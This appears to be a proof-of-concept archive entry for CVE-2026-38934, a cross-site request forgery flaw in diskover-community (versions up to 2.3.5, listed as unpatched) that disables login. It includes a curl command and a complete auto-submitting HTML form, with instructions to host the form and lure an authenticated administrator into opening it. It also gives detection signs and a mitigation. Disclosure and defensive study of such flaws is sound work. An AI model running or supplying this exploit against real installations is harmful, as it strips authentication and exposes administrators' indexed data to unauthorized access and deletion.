PoC Archive PoC Archive
High CVE-2026-38934 unpatched

diskover-community — CSRF Leading to Authentication Bypass (CVE-2026-38934)

by VadlaReddySai · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-38934
Category
web
Affected product
diskover-community
Affected versions
<= 2.3.5
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherVadlaReddySai
CVE / AdvisoryCVE-2026-38934
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
StatusPoC
Tagsdiskover, csrf, authentication-bypass, php, elasticsearch, settings-tampering
RelatedN/A

Affected Target

FieldValue
Software / Systemdiskover-community
Versions Affected<= 2.3.5
Language / PlatformPHP web application
Authentication RequiredNo (attacker needs a victim admin session or direct reachability)
Network Access RequiredYes

Summary

public/settings_process.php in diskover-community (<= 2.3.5) accepts sensitive configuration-changing POST requests without validating any CSRF token. An attacker can craft a self-submitting HTML form that, when opened by an authenticated administrator, silently sets LOGIN_REQUIRED=false and other settings, disabling authentication for the entire application. Once authentication is disabled, the attacker gains unrestricted access to the diskover dashboard and its underlying Elasticsearch-backed data.


Vulnerability Details

Root Cause

settings_process.php performs no CSRF token generation or validation on state-changing POST requests, allowing cross-site requests to modify application settings (CWE-352).

Attack Vector

  1. Attacker crafts an HTML page containing an auto-submitting form targeting http://TARGET/settings_process.php with LOGIN_REQUIRED=false and other configuration fields.
  2. An authenticated administrator (or any browser with a live session/reachable endpoint) opens the malicious page.
  3. The browser auto-submits the form, and the server accepts the settings change with no CSRF check.
  4. The application subsequently allows unauthenticated access, e.g. GET /dashboard.php succeeds without login.

Impact

Complete authentication bypass, unauthorized access to the full application and Elasticsearch-backed index data, and potential mass deletion of indices; chainable with XSS for automated exploitation.


Environment / Lab Setup

Target:   diskover-community <= 2.3.5
Attacker: any web browser, or curl with a valid session cookie

Proof of Concept

PoC Script

See csrf_poc.html (browser-based CSRF trigger) and writeup.md (full technical write-up with curl reproduction) in this folder.

1
2
3
4
curl -s -b cookies.txt -X POST http://TARGET/settings_process.php \
  -d "formname=webotherform" -d "TIMEZONE=America/Vancouver" \
  -d "LOGIN_REQUIRED=false" -d "SEARCH_RESULTS=50" -d "SIZE_FIELD=size" \
  -d "MAX_INDEX=250" -d "INDEXINFO_CACHETIME=300" -d "NEWINDEX_CHECKTIME=30"

csrf_poc.html reproduces the “real-world” attack: hosting it and getting a victim admin session to open it auto-submits the same settings-tampering POST request via the browser, with no interaction beyond opening the page.


Detection & Indicators of Compromise

POST /settings_process.php HTTP/1.1

Signs of compromise:

  • Unexpected changes to LOGIN_REQUIRED or other settings in diskover’s configuration
  • settings_process.php requests originating from external Referer/Origin headers

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigationImplement CSRF tokens on all state-changing endpoints, in particular settings_process.php; require re-authentication for security-sensitive settings changes

References


Notes

Mirrored from https://github.com/VadlaReddySai/diskoverdata-cve-writeups on 2026-07-05. The source repository covers multiple CVEs (CVE-2026-38934, CVE-2026-38935, CVE-2026-38936); only the CVE-2026-38934 write-up was mirrored per this batch’s assignment. csrf_poc.html was authored here to make the documented “real-world exploit” HTML snippet directly runnable.

csrf_poc.html
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!--
  CVE-2026-38934 - diskover-community <= 2.3.5
  CSRF in public/settings_process.php leading to authentication bypass.

  Host this file anywhere and lure an authenticated admin (or, since the
  endpoint performs no CSRF-token validation, simply reach the endpoint
  directly with a valid session cookie) into visiting it. On load it
  auto-submits a hidden form to the target's settings_process.php,
  flipping LOGIN_REQUIRED to false and disabling authentication for the
  whole application.

  Usage: replace TARGET below with the victim diskover-community host,
  then open this file in a browser that has a live admin session cookie
  for that host (or serve it and get an admin to open it).
-->
<html>
<body>
<form id="csrf" action="http://TARGET/settings_process.php" method="POST">
  <input type="hidden" name="formname" value="webotherform">
  <input type="hidden" name="TIMEZONE" value="America/Vancouver">
  <input type="hidden" name="LOGIN_REQUIRED" value="false">
  <input type="hidden" name="SEARCH_RESULTS" value="50">
  <input type="hidden" name="SIZE_FIELD" value="size">
  <input type="hidden" name="MAX_INDEX" value="250">
  <input type="hidden" name="INDEXINFO_CACHETIME" value="300">
  <input type="hidden" name="NEWINDEX_CHECKTIME" value="30">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>